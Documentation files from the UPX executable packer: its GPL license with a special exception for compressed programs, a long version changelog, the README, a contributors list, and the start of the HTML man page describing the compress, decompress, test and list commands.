UPX and the UCL library are free software; you can redistribute them
and/or modify them under the terms of the GNU General Public License as
published by the Free Software Foundation; either version 2 of
the License, or (at your option) any later version.
UPX and UCL are distributed in the hope that they will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING.
SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES
============================================
The stub which is imbedded in each UPX compressed program is part
of UPX and UCL, and contains code that is under our copyright. The
terms of the GNU General Public License still apply as compressing
a program is a special form of linking with our stub.
Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special
permission to freely use and distribute all UPX compressed programs
(including commercial ones), subject to the following restrictions:
1. You must compress your program with a completely unmodified UPX
version; either with our precompiled version, or (at your option)
with a self compiled version of the unmodified UPX sources as
distributed by us.
2. This also implies that the UPX stub must be completely unmodfied, i.e.
the stub imbedded in your compressed program must be byte-identical
to the stub that is produced by the official unmodified UPX version.
3. The decompressor and any other code from the stub must exclusively get
used by the unmodified UPX stub for decompressing your program at
program startup. No portion of the stub may get read, copied,
called or otherwise get used or accessed by your program.
ANNOTATIONS
===========
- You can use a modified UPX version or modified UPX stub only for
programs that are compatible with the GNU General Public License.
- We grant you special permission to freely use and distribute all UPX
compressed programs. But any modification of the UPX stub (such as,
but not limited to, removing our copyright string or making your
program non-decompressible) will immediately revoke your right to
use and distribute a UPX compressed program.
- UPX is not a software protection tool; by requiring that you use
the unmodified UPX version for your proprietary programs we
make sure that any user can decompress your program. This protects
both you and your users as nobody can hide malicious code -
any program that cannot be decompressed is highly suspicious
by definition.
- You can integrate all or part of UPX and UCL into projects that
are compatible with the GNU GPL, but obviously you cannot grant
any special exceptions beyond the GPL for our code in your project.
- We want to actively support manufacturers of virus scanners and
similar security software. Please contact us if you would like to
incorporate parts of UPX or UCL into such a product.
Markus F.X.J. Oberhumer Laszlo Molnar
markus.oberhumer@jk.uni-linz.ac.at ml1050@cdata.tvnet.hu
Linz, Austria, 25 Feb 2000
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI
wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf
dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx
OO03+ojZdO8=
=CS52
-----END PGP SIGNATURE-----

View File

@@ -0,0 +1,544 @@
==================================================================
User visible changes for UPX
==================================================================
Changes in 4.1.0 (08 Aug 2023):
* ELF: handle shared libraries with more than 2 PT_LOAD segments
* bug fixes - see https://github.com/upx/upx/milestone/11
Changes in 4.0.2 (30 Jan 2023):
* bug fixes - see https://github.com/upx/upx/milestone/9
Changes in 4.0.1 (16 Nov 2022):
* bug fixes - see https://github.com/upx/upx/milestone/8
Changes in 4.0.0 (28 Oct 2022):
* Switch to semantic versioning
* SECURITY NOTES: emphasize the security context in the docs
* Support easy building from source code with CMake
* Support easy rebuilding the stubs from source with Podman/Docker
* Add integrated doctest C++ testing framework
* Add support for EFI files (PE x86; Kornel Pal)
* win32/pe and win64/pe: set correct SizeOfHeaders in the PE header
* bug fixes - see https://github.com/upx/upx/milestone/6
* bug fixes - see https://github.com/upx/upx/milestone/7
Changes in 3.96 (23 Jan 2020):
* bug fixes - see https://github.com/upx/upx/milestone/5
Changes in 3.95 (26 Aug 2018):
* Flag --android-shlib to work around bad design in Android
* Flag --force-pie when ET_DYN main program is not marked as DF_1_PIE
* Better compatibility with varying layout of address space on Linux
* Support for 4 PT_LOAD layout in ELF generated by binutils-2.31
* bug fixes, particularly better diagnosis of malformed input
* bug fixes - see https://github.com/upx/upx/milestone/4
Changes in 3.94 (12 May 2017):
* Add support for arm64-linux (aka "aarch64").
* Add support for --lzma compression on 64-bit PowerPC (Thierry Fauck).
* For Mach, "upx -d" will unpack a prefix of the file (and warn).
* Various improvements to the ELF formats.
* bug fixes - see https://github.com/upx/upx/milestone/3
Changes in 3.93 (29 Jan 2017):
* Fixed some win32/pe and win64/pe regressions introduced in 3.92
* bug fixes - see https://github.com/upx/upx/milestone/2
Changes in 3.92 (11 Dec 2016):
* INFO: UPX has moved to GitHub - the new home page is https://upx.github.io
* IMPORTANT: all PE formats: internal changes: reunited the diverged source
files - please report all regressions into the bug tracker and try UPX 3.91
in case of problems.
* Support Apple MacOS 10.12 "Sierra", including more-robust de-compression.
* Explicitly diagnose Go-language bad PT_LOAD; recommend hemfix.c.
https://sourceforge.net/p/upx/bugs/195/ https://github.com/pwaller/goupx
* Fix CERT-FI Case 829767 UPX command line tools segfaults.
Received by UPX Team on 2015-May-08; originally reported
by Codenomicon to NCSC-FI on 2015-01-08.
The vulnerabilities were discovered by Joonas Kuorilehto and
Antti Häyrynen from Codenomicon.
* bug fixes - see https://github.com/upx/upx/milestone/1
Changes in 3.91 (30 Sep 2013):
* Added experimental support for Windows 64-bit PE files, based on
work by Stefan Widmann. Please use for testing only!
* bug fixes
==================================================================
Changes in 3.09 (18 Feb 2013):
* New option --preserve-build-id for GNU ELF.
* Allow for code signing and LC_UUID on Mac OS X executables.
* Allow non-contiguous LC_SEGMENTs and 0==.vmsize for Mach-O.
* Allow zero-filled final page in PackUnix::canUnpack().
* bug fixes
Changes in 3.08 (12 Dec 2011):
* Fix allocation in runtime stub for darwin.macho-entry (i386 and amd64).
* Compress shared library on ELF i386 only [ld.so threatens even this case].
* Attempt to support ELF on QNX 6.3.0 for armel (experimental).
* Better diagnostic when ELF -fPIC is needed.
* PT_NOTE improvements for BSD.
* Preserve more ELF .e_flags on ARM.
* Minor code improvements for ELF stubs.
* Defend against another flavor of corrupt PE header.
* bug fixes
Changes in 3.07 (08 Sep 2010):
* win32/pe: fixed relocation handling for files with *no* TLS callbacks
[severe bug introduced in 3.06]
Changes in 3.06 (04 Sep 2010):
* win32/pe: TLS callback support contributed by Stefan Widmann. Thanks!
* bug fixes
Changes in 3.05 (27 Apr 2010):
* i386-linux and amd64-linux support shared libraries (DT_INIT must
exist, all info needed by runtime loader must be first in .text, etc.)
* Linux /proc/self/exe now is preserved by default, by leaving behind
one page. New compress-time option --unmap-all-pages is available.
* Withdraw support for shared libraries on Darwin (Apple Mac OS X)
because upx does not understand enough about .dylib.
* bug fixes
Changes in 3.04 (27 Sep 2009):
* new format Mach/AMD64 supports 64-bit programs on Apple Macintosh.
* new formats Dylib/i386 and Dylib/ppc32 support shared libraries
[such as browser plugins] on Darwin (Apple Macintosh). An existing
-init function (LC_ROUTINES command) is required.
* new format vmlinuz/armel for Debian NSLU2 (etc.) linux kernel
* bvmlinuz boot protocol 2.08 for 386 Linux kernel
* Extended ABI version 4 for armel-eabi ARM Linux ELF
* bug fixes
Changes in 3.03 (27 Apr 2008):
* implement cache flushing for PowerPC (esp. model 440)
* fix cache flushing on MIPS (>3 MiB compressed, or with holes)
* fix MIPS big-endian
* bug fixes
Changes in 3.02 (16 Dec 2007):
* fix unmapping on arm-linux.elf
* fix error checking in mmap for i386-linux.elf [triggered by -fPIE]
* bug fixes
Changes in 3.01 (31 Jul 2007):
* new options --no-mode, --no-owner and --no-time to disable preservation
of mode (file permissions), file ownership and timestamps.
* dos/exe: fixed an incorrect error message caused by a bug in
relocation handling
* new format linux/mipsel supports ELF on [32-bit] R3000
* fix argv[0] on PowerPC with --lzma
* bug fixes
Changes in 3.00 (27 Apr 2007):
* watcom/le & tmt/adam: fixed a problem when using certain filters
Changes in 2.93 beta (08 Mar 2007):
* new formats Mach/i386 and Mach/fat support Mac OS X i686 and
Universal binaries [i686 and PowerPC only]
* dos/exe: LZMA is now also supported for 16-bit dos/exe. Please note that
you have to explicitly use '--lzma' even for '--ultra-brute' here
because runtime decompression is about 30 times slower than NRV -
which is really noticeable on old machines.
* dos/exe: fixed a rarely occurring bug in relocation handling
* win32/pe & arm/pe: better icon compression handling
Changes in 2.92 beta (23 Jan 2007):
* new option '--ultra-brute' which tries even more variants
* slightly improved compression ratio for some files when
using '--brute' or '--ultra-brute'
* bug fixes
Changes in 2.91 beta (29 Nov 2006):
* assorted bug fixes
* wince/arm: fix "missing" icon & version info resource problem for WinCE 5
* win32/pe & arm/pe: added option --compress-icons=3 to compress all icons
Changes in 2.90 beta (08 Oct 2006):
* LZMA algorithm support for most of the 32-bit and 64-bit file formats;
use new option '--lzma' to enable
* new format: BSD/elf386 supporting FreeBSD, NetBSD and OpenBSD
via auto-detection of PT_NOTE or EI_OSABI
* arm/pe: all the NRV compression methods are now supported
(only NRV2D is missing in thumb mode)
* linux/elf386, linux/ElfAMD: remember /proc/self/exe in environment
* major source code changes: the runtime decompression stubs are now
built from internal ELF objects
==================================================================
Changes in 2.03 (07 Nov 2006):
* bvmlinuz/386: fix for kernels not at 0x100000; also allow x86_64
* linux/elf386: work around Linux kernel bug (0-length .bss needs PF_W)
Changes in 2.02 (13 Aug 2006):
* linux/386: work around Linux kernel bug (".bss" requires PF_W)
* linux/ppc32, mach/ppc32: compressed programs now work on a 405 CPU
* vmlinuz/386: fixed zlib uncompression problem on DOS
Changes in 2.01 (06 Jun 2006):
* arm/pe: better DLL support
* dos/exe: device driver support added
* linux/386: Fix --force-execve for PaX, grSecurity, and strict SELinux.
/tmp must support execve(); therefore /tmp cannot be mounted 'noexec'.
* win32/pe & arm/pe: added new option '--keep-resource=' for
excluding selected resources from compression
Changes in 2.00 (27 Apr 2006):
* linux/386: the stub now prints an error message if some strict
SELinux mode does prevent runtime decompression and execution
(for a fully SELinux-compatible but otherwise inferior compression
format you can use the '--force-execve' option)
* linux/386: worked around a problem where certain Linux kernels
clobber the %ebx register during a syscall
* win32/pe: disable filters for files with broken PE headers
Changes in 1.96 beta (13 Apr 2006):
* arm/pe: added filter support
* win32/pe: removed an unnecessary check so that Delphi 2006 and
Digital Mars C++ programs finally are supported
Changes in 1.95 beta (09 Apr 2006):
* arm/pe: added DLL support
* arm/pe: added thumb mode stub support
* arm/pe: added unpacking support
* win32/pe: really worked around R6002 runtime errors
Changes in 1.94 beta (11 Mar 2006):
* new format: added support for wince/arm (ARM executables running on WinCE)
* new format: added support for linux elf/amd64
* new format: added support for linux elf/ppc32
* new format: added support for mach/ppc32 (Apple Mac OS X)
* win32/pe: hopefully working "load config" support
* win32/pe: R6002 runtime errors worked around
* win32/pe: the stub now clears the dirty stack
Changes in 1.93 beta (07 Feb 2005):
* vmlinuz/386: fixes to support more kernels
Changes in 1.92 beta (20 Jul 2004):
* win32/pe: added option '--strip-loadconf' to strip the SEH load
config section [NOTE: this option is obsolete since UPX 1.94]
* win32/pe: try to detect .NET (win32/net) files [not yet supported by UPX]
* vmlinux/386: new format that directly supports building Linux kernels
* source code: now compiles cleanly under Win64
Changes in 1.91 beta (30 Jun 2004):
* djgpp2/coff: added support for recent binutils versions
* linux/elf386, linux/sh386: lots of improvements
* vmlinuz/386: added support for recent kernels
* watcom/le: don't crash on files without relocations
* win32/pe: stricter checks of some PE values
* option '--brute' now implies '--crp-ms=999999'.
* source code: much improved portability using ACC, the
Automatic Compiler Configuration
* source code: compile fixes for strict ISO C++ compilers
* source code: compile fixes for Win64
* re-synced with upx 1.25 branch
Changes in 1.90 beta (11 Nov 2002):
* implemented several new options for finer compression control:
'--all-methods', '--all-filters' and '--brute'
* ps1/exe: new format - UPX now supports PlayStation One programs
* linux/386: added the option '--force-execve'
* vmlinuz/386: better kernel detection and sanity checks
* re-synced with upx 1.24 branch
* documentation updates
Changes in 1.11 beta (20 Dec 2000):
* vmlinuz/386: new format - UPX now supports bootable linux kernels
* linux/elf386: added the new ELF direct-to-memory executable format - no
more temp files are needed for decompression!
* linux/sh386: added the new shell direct-to-memory executable format - no
more temp files are needed for decompression!
* reduced overall memory requirements during packing
* quite a number of internal source code rearrangements
==================================================================
Changes in 1.25 (29 Jun 2004)
* INFO: http://upx.sourceforge.net is the new UPX home page
* watcom/le: don't crash on files without relocations
* win32/pe: stricter checks of some PE values
* source code: much improved portability using ACC, the
Automatic Compiler Configuration
* source code: compile fixes for strict ISO C++ compilers
* source code: compile fixes for Win64
Changes in 1.24 (07 Nov 2002)
* djgpp2/coff: stricter check of the COFF header to work around a
problem with certain binutils versions
Changes in 1.23 (05 Sep 2002)
* atari/tos: fixed an unpacking problem where a buffer was too
small (introduced in 1.22)
* linux/386: don't give up too early if a single block turns out
to be incompressible
* documentation: added some quick tips how to achieve the best
compression ratio for the final release of your application
* fixed a rare situation where the exit code was not set correctly
Changes in 1.22 (27 Jun 2002)
* atari/tos: the stub now flushes the CPU cache to avoid
problems on 68030+ machines
* source code: additional compiler support for Borland C++,
Digital Mars C++ and Watcom C++
Changes in 1.21 (01 Jun 2002)
* New option '--crp-ms=' for slightly better compression at the cost
of higher memory requirements during compression.
Try 'upx --best --crp-ms=100000'. See the docs for more info.
* source code: portability fixes
* source code: compile fixes for g++ 3.0 and g++ 3.1
Changes in 1.20 (23 May 2001)
* slightly faster compression
* work around a gcc problem in the latest djgpp2 distribution
* watcom/le: fixed detection of already compressed files
* win32/pe: do not compress RT_MANIFEST resource types
* win32/pe: improved the error message for empty resource sections
* [NOTE: the jump from 1.08 to 1.20 is to avoid confusion with
our unstable development releases 1.1x and 1.9x]
Changes in 1.08 (30 Apr 2001)
* new native port to atari/tos
* win32/pe: shortened the identstring
* source code: portability fixes - UPX now builds cleanly under m68k CPUs
Changes in 1.07 (20 Feb 2001)
* win32/pe: corrected the TLS callback check
* win32/pe: really fixed that rare bug in relocation handling
* win32/pe: experimental support for SizeOfHeaders > 0x1000
* win32/pe: check for superfluous data between sections
* win32/pe: compressing screensavers (.scr) should finally work
Changes in 1.06 (27 Jan 2001)
* win32/pe: the check for TLS callbacks introduced in 1.05
was too strict - disabled for now
* dos/com: decreased the decompressor stack size a little bit
Changes in 1.05 (24 Jan 2001)
* win32/pe: refuse to compress programs with TLS callbacks
* win32/pe: stub changes to avoid slowdowns with some virus monitors
* win32/pe: reverted the relocation handling changes in 1.04
* linux/386: dont try to compress Linux kernel images (have a look
at the unstable UPX 1.1x beta versions for that)
Changes in 1.04 (19 Dec 2000)
* dos/exe: fixed an internal error when using '--no-reloc'
* win32/pe: fixed a rare bug in the relocation handling code
* some tunings for the default compression level
Changes in 1.03 (30 Nov 2000)
* linked with a new version of the NRV compression library:
- improved compression ratio a little bit
- overall significantly faster compression
- much faster when using high compression levels like '-9' or '--best'
- much faster with large files
* atari/tos: added support for FreeMiNT
* the 32-bit DOS version now uses the new CWSDSTUB extender
Changes in 1.02 (13 Sep 2000)
* watcom/le: fixed a problem with the Causeway extender
* win32/pe: don't automatically strip relocs if they seem needed
* support multiple backup generations when using '-k'
* updated the console screen driver
Changes in 1.01 (09 Apr 2000)
* win32/pe: fixed an uncompression problem in DLLs with empty
fixup sections
* win32/pe: fixed another rare uncompression problem - a field in the
PE header was set incorrectly
Changes in 1.00 (26 Mar 2000)
* documentation updates
* watcom/le: do not duplicate the non-resident name table
* win32/pe: fixed an import handling problem: sometimes too much data
could be deleted from a file -> the uncompressed file would not work
anymore
Changes in 0.99.3 (07 Mar 2000)
* win32/pe: fixed a rare problem in the stub string handling part
Changes in 0.99.2 (02 Mar 2000)
* dos/exe: fixed a typo causing an internal error (introduced in 0.99.1)
Changes in 0.99.1 (29 Feb 2000)
* win32/pe: fixed some object alignments which were causing
problems when loading compressed DLLs under Windows NT/2000
Changes in 0.99 (25 Feb 2000)
* FULL SOURCE CODE RELEASED UNDER THE TERMS OF THE GNU GPL
* win32/pe: changed default to '--strip-relocs=1'
* dos/com and dos/sys: fixed a bad decompressor problem
* linux/386: the counter for the progress indicator was off by one
==================================================================
Changes in 0.94 (06 Dec 1999)
* win32/pe: the stub now calls ExitProcess in case of import errors
* under DOS and Windows, the environment variable UPX now accepts
a '#' as replacement for '=' because of a COMMAND.COM limitation
Changes in 0.93 (22 Nov 1999)
* win32/pe: fixed --strip-relocs problem with uncompression
* win32/pe: fixed a bug which could produce a broken decompressor stub
* linux/386: yet another FreeBSD compatibility fix
Changes in 0.92 (14 Nov 1999)
* win32/pe: really fixed that one line (see below)
Changes in 0.91 (13 Nov 1999)
* win32/pe: an important one-line fix for the newly introduced problems
* dos/com and dos/sys: fixed an internal error
* dos/exe: correctly restore cs when uncompressing
Changes in 0.90 (10 Nov 1999)
* all formats: '--overlay=copy' now is the default overlay mode
* improved compression ratio for most files
* win32/pe: uncompression is finally supported
* win32/pe: never compress REGISTRY resources
* win32/pe: headersize was not set in PE header
* win32/pe: resource handling is rewritten
* win32/pe: the last :-) TLS problem is fixed
* win32/pe: somewhat less memory is required during compression
* linux/386: fixed compression of scripts which was broken since 0.71
* linux/386: more FreeBSD compatibility issues
* changed option: '-i' now prints some more details during compression
(not finished yet)
Changes in 0.84 (04 Oct 1999)
* dos/exe: fixed a rare problem where the decompressor could crash
* some other minor fixes
Changes in 0.83 (17 Sep 1999)
* dos/exe: fixed minimal memory requirement problem for some files
* win32/pe: fixed a bug which caused a crash in some compressed files
* linux/386: various improvements in the stub; also, for the sake
of FreeBSD users, the stub is now branded as Linux/ELF
Changes in 0.82 (16 Aug 1999)
* dos/exe: fixed a decompressor bug which could cause crash on some files
* linux/386: section headers are now stripped from the stub so that
'strip' won't ruin a compressed file any longer
* wc/le: support for stack not in the last object disabled again
* win32/pe: removed some unneeded data
Changes in 0.81 (04 Aug 1999)
* win32/pe: fixed an important bug in import handling
* dos/com: fixed an internal error that could happen with very small files
Changes in 0.80 (03 Aug 1999)
* you can set some default options in the environment var 'UPX'
* dos/com: the decompressor stub now checks for enough free memory
* dos/exe: decompressor rewritten, some bugs are fixed
* dos/exe: new option '--no-reloc': no relocation data is put into
the DOS header
* tmt/adam: added support for more stubs, detect already packed files
* tmt/adam: new option '--copy-overlay'
* wc/le: reduced memory requirement during uncompression
* wc/le: support files which do not contain their stack in the last object
* wc/le: fixed a bug which could cause a crash, improved relocation
handling
* wc/le: new option '--copy-overlay'
* win32/pe: '--compress-icons=2' is now the default
* win32/pe: even better TLS support
* win32/pe: versioninfo works on NT
* win32/pe: import by ordinal from kernel32.dll works
* win32/pe: other import improvements: importing a nonexistent DLL
results in a usual Windows message, importing a nonexistent function
results in program exit (instead of crash ;-)
* win32/pe: new option: '--compress-resources=0'
* win32/pe: reduced memory requirement during uncompression, some
files might even require LESS memory when they're compressed
* win32/pe: TYPELIBs should work now
* win32/pe: improved relocation handling, 16-bit relocations should work
* win32/pe: new option '--strip-relocs' (only if you know what you are doing)
* win32/pe: new option '--copy-overlay'
* important internal changes: now the stubs are built at runtime
Changes in 0.72 (12 May 1999)
* tmt/adam: fixed a serious problem in the decompressor stub; all
compressed tmt files should be recompressed
* win32/pe: fixed the 'shared sections not supported' warning:
read-only shared sections are fine
* win32/pe: never compress TYPELIB resources
* win32/pe: compressed files are hopefully less suspicious to heuristic
virus scanners now
* linux/386: minor decompressor stub updates, nicer progress bar
Changes in 0.71 (19 Apr 1999)
* dos/exe: added option '--no-overlay'
* linux/386: various improvements in the stub, most notably the
overhead for an extra cleanup process has been removed
* win32/pe: added support for export forwarders
* win32/pe: added support for DLLs without entry point or imports
* win32/pe: yet another .bss fix
* win32/pe: new option '--compress-icons=2': compress all icons
which are not in the first icon directory
* win32/pe: rearranged stub to avoid false alerts from some virus scanners
Changes in 0.70 (30 Mar 1999)
* added support for linux/386 executables
* improved compression ratio quite a bit
* added new compression level '--best' to squeeze out even some more bytes
* win32/pe: TLS support is much better now
* win32/pe: --compress-icons=0 should now work as well
* the usual minor fixes for win32/pe
Changes in 0.62 (16 Mar 1999)
* win32/pe: --compress-icons and --compress-exports are on now by default
* win32/pe: --compress-icons should really work now
* win32/pe: fixed a problem with embedded .bss sections
Changes in 0.61 (08 Mar 1999)
* atari/tos: fixed a problem where the bss segment could become too small
Changes in 0.60 (06 Mar 1999)
* win32/pe: fixed file corruption when the size of the export data is invalid
* win32/pe: fixed a problem with empty resource data
* win32/pe: compressed file alignment set to minimum value
* win32/pe: made all compressed sections writable
* fixed some other win32/pe bugs
* fixed an address optimization problem for some not Watcom LE files
* fixed a bug which could make UPX hang when an exe header contained
an illegal value
* added some compression flags for the win32/pe format
* added support for Atari ST/TT executables (atari/tos)
* improved compression ratio
* improved compression speed
Changes in 0.51 (14 Jan 1999)
* fixed a small bug in the PE header that would prevent some compressed
win32/pe executables from running under Windows NT and WINE
Changes in 0.50 (03 Jan 1999)
* added support for PE format executables (win32/pe & rtm32/pe)
* added support for TMT executables (tmt/adam)
* fixed a dos/sys bug that affected OpenDOS
Changes in 0.40 (05 Oct 1998)
* improved compression ratio
* fixed a small but fatal bug in dos/sys introduced in 0.30
* fixed a rare bug in dos/exe
* worked around a bug in djgpp's strip 2.8
* djgpp2/coff: Allegro packfile support should work now
* added dos/exeh compression method (works on 386+)
Changes in 0.30 (27 Jul 1998)
* fixed a serious bug in the 32-bit compressors - please don't use
djgpp2/coff and watcom/le compressed files from previous versions,
some of them are possibly damaged !
* the 16-bit uncompressors are a little bit shorter & faster
* fixed progress indicator for VESA and SVGA text modes
Changes in 0.20 (05 Jul 1998)
* second public beta release
* too many changes to list here
Changes in 0.05 (26 May 1998)
* first public beta release
* based on experience gained from our previous packers DJP (djgpp2/coff, 1996),
lzop (1996) and mfxpak (atari/tos, 1990)

View File

@@ -0,0 +1,120 @@
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2023 Markus Oberhumer, Laszlo Molnar & John Reiser
https://upx.github.io
WELCOME
=======
Welcome to UPX !
UPX is a free, secure, portable, extendable, high-performance
executable packer for several executable formats.
INTRODUCTION
============
UPX is an advanced executable file compressor. UPX will typically
reduce the file size of programs and DLLs by around 50%-70%, thus
reducing disk space, network load times, download times and
other distribution and storage costs.
Programs and libraries compressed by UPX are completely self-contained
and run exactly as before, with no runtime or memory penalty for most
of the supported formats.
UPX supports a number of different executable formats, including
Windows programs and DLLs, macOS apps and Linux executables.
UPX is free software distributed under the term of the GNU General
Public License. Full source code is available.
UPX may be distributed and used freely, even with commercial applications.
See the UPX License Agreements for details.
SECURITY CONTEXT
================
IMPORTANT NOTE: UPX inherits the security context of any files it handles.
This means that packing, unpacking, or even testing or listing a file requires
the same security considerations as actually executing the file.
Use UPX on trusted files only!
SHORT DOCUMENTATION
===================
'upx program.exe' will compress a program or DLL. For best compression
results try 'upx --best program.exe' or 'upx --brute program.exe'.
Please see the file UPX.DOC for the full documentation. The files
NEWS and BUGS also contain various tidbits of information.
THE FUTURE
==========
- Stay up-to-date with ongoing OS and executable format changes
- RISC-V 64 for Linux
- ARM64 for Windows (help wanted)
- We will *NOT* add any sort of protection and/or encryption.
This only gives people a false feeling of security because
all "protectors" can be broken by definition.
- Fix all remaining bugs - please report any issues
https://github.com/upx/upx/issues
COPYRIGHT
=========
Copyright (C) 1996-2023 Markus Franz Xaver Johannes Oberhumer
Copyright (C) 1996-2023 Laszlo Molnar
Copyright (C) 2000-2023 John F. Reiser
UPX is distributed with full source code under the terms of the
GNU General Public License v2+; either under the pure GPLv2+ (see
the file COPYING), or (at your option) under the GPLv+2 with special
exceptions and restrictions granting the free usage for all binaries
including commercial programs (see the file LICENSE).
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
You should have received a copy of the UPX License Agreements along
with this program; see the files COPYING and LICENSE. If not,
visit the UPX home page.
Share and enjoy,
Markus & Laszlo & John
Markus F.X.J. Oberhumer Laszlo Molnar
<markus@oberhumer.com> <ezerotven+github@gmail.com>
John F. Reiser
<jreiser@BitWagon.com>
[ The term UPX is a shorthand for the Ultimate Packer for eXecutables
and holds no connection with potential owners of registered trademarks
or other rights. ]

View File

@@ -0,0 +1,62 @@
ooooo ooo ooooooooo. ooooooo ooooo
`888' `8' `888 `Y88. `8888 d8'
888 8 888 .d88' Y888..8P
888 8 888ooo88P' `8888'
888 8 888 .8PY888.
`88. .8' 888 d8' `888b
`YbodP' o888o o888o o88888o
The Ultimate Packer for eXecutables
Copyright (c) 1996-2023 Markus Oberhumer, Laszlo Molnar & John Reiser
https://upx.github.io
.___.. .
| |_ _.._ ;_/ __
| [ )(_][ )| \_)
--------------------
UPX would not be what it is today without the invaluable help of
everybody who was kind enough to spend time testing it, using it
in applications and reporting bugs.
The following people made especially gracious contributions of their
time and energy in helping to track down bugs, add new features, and
generally assist in the UPX maintainership process:
Adam Ierymenko <api@one.net>
for severals ideas for the Linux version
Andi Kleen <ak@muc.de> and Jamie Lokier <nospam@cern.ch>
for the /proc/self/fd/X and other Linux suggestions
Andreas Muegge <andreas.muegge@gmx.de>
for the Win32 GUI
Atli Mar Gudmundsson <agudmundsson@symantec.com>
for several comments on the win32/pe stub
Charles W. Sandmann <sandmann@clio.rice.edu>
for the idea with the stubless decompressor in djgpp2/coff
Ice
for debugging the PE headersize problem down
Joergen Ibsen <jibz@hotmail.com> and d'b
for the relocation & address optimization ideas
John S. Fine <johnfine@erols.com>
for the new version of the dos/exe decompressor
Kornel Pal
for the EFI support
Lukundoo <Lukundoo@softhome.net>
for beta testing
Michael Devore
for initial dos/exe device driver support
Oleg V. Volkov <rover@lglobus.ru>
for various FreeBSD specific information
The Owl & G-RoM
for the --compress-icons fix
Ralph Roth <RalphRoth@gmx.net>
for reporting several bugs
Salvador Eduardo Tropea
for beta testing
Stefan Widmann
for the win32/pe TLS callback support
The WINE project (https://www.winehq.com/)
for lots of useful information found in their PE loader sources
Natascha

View File

@@ -0,0 +1,807 @@
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>upx - compress or expand executable files</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>
<body>
<h1 id="NAME">NAME</h1>
<p>upx - compress or expand executable files</p>
<h1 id="SYNOPSIS">SYNOPSIS</h1>
<p><b>upx</b> <span style="white-space: nowrap;">[ <i>command</i> ]</span> <span style="white-space: nowrap;">[ <i>options</i> ]</span> <i>filename</i>...</p>
<h1 id="ABSTRACT">ABSTRACT</h1>
<pre><code> The Ultimate Packer for eXecutables
Copyright (c) 1996-2023 Markus Oberhumer, Laszlo Molnar &amp; John Reiser
https://upx.github.io</code></pre>
<p><b>UPX</b> is a portable, extendable, high-performance executable packer for several different executable formats. It achieves an excellent compression ratio and offers <i>*very*</i> fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression.</p>
<h1 id="DISCLAIMER">DISCLAIMER</h1>
<p><b>UPX</b> comes with ABSOLUTELY NO WARRANTY; for details see the file COPYING.</p>
<p>Please report all problems or suggestions to the authors. Thanks.</p>
<h1 id="SECURITY-CONTEXT">SECURITY CONTEXT</h1>
<p>IMPORTANT NOTE: <b>UPX</b> inherits the security context of any files it handles.</p>
<p>This means that packing, unpacking, or even testing or listing a file requires the same security considerations as actually executing the file.</p>
<p>Use <b>UPX</b> on trusted files only!</p>
<h1 id="DESCRIPTION">DESCRIPTION</h1>
<p><b>UPX</b> is a versatile executable packer with the following features:</p>
<pre><code>- secure: as UPX is documented Open Source since many years any relevant
Security/Antivirus software is able to peek inside UPX compressed
apps to verify them
- excellent compression ratio: typically compresses better than Zip,
use UPX to decrease the size of your distribution !
- very fast decompression: more than 500 MB/sec on any reasonably modern
machine
- no memory overhead for your compressed executables for most of the
supported formats because of in-place decompression
- safe: you can list, test and unpack your executables.
Also, a checksum of both the compressed and uncompressed file is
maintained internally.
- universal: UPX can pack a number of executable formats, including
Windows programs and DLLs, macOS apps and Linux executables
- portable: UPX is written in portable endian-neutral C++
- extendable: because of the class layout it&#39;s very easy to support
new executable formats or add new compression algorithms
- free: UPX is distributed with full source code under the GNU General
Public License v2+, with special exceptions granting the free usage
for commercial programs</code></pre>
<p>You probably understand now why we call <b>UPX</b> the &quot;<i>ultimate</i>&quot; executable packer.</p>
<h1 id="COMMANDS">COMMANDS</h1>
<h2 id="Compress">Compress</h2>
<p>This is the default operation, eg. <b>upx yourfile.exe</b> will compress the file specified on the command line.</p>
<h2 id="Decompress">Decompress</h2>
<p>All <b>UPX</b> supported file formats can be unpacked using the <b>-d</b> switch, eg. <b>upx -d yourfile.exe</b> will uncompress the file you&#39;ve just compressed.</p>
<h2 id="Test">Test</h2>
<p>The <b>-t</b> command tests the integrity of the compressed and uncompressed data, eg. <b>upx -t yourfile.exe</b> check whether your file can be safely decompressed. Note, that this command doesn&#39;t check the whole file, only the part that will be uncompressed during program execution. This means that you should not use this command instead of a virus checker.</p>
<h2 id="List">List</h2>
<p>The <b>-l</b> command prints out some information about the compressed files specified on the command line as parameters, eg <b>upx -l yourfile.exe</b> shows the compressed / uncompressed size and the compression ratio of <i>yourfile.exe</i>.</p>
<h1 id="OPTIONS">OPTIONS</h1>
<p><b>-q</b>: be quiet, suppress warnings</p>
<p><b>-q -q</b> (or <b>-qq</b>): be very quiet, suppress errors</p>
<p><b>-q -q -q</b> (or <b>-qqq</b>): produce no output at all</p>
<p><b>--help</b>: prints the help</p>
<p><b>--version</b>: print the version of <b>UPX</b></p>
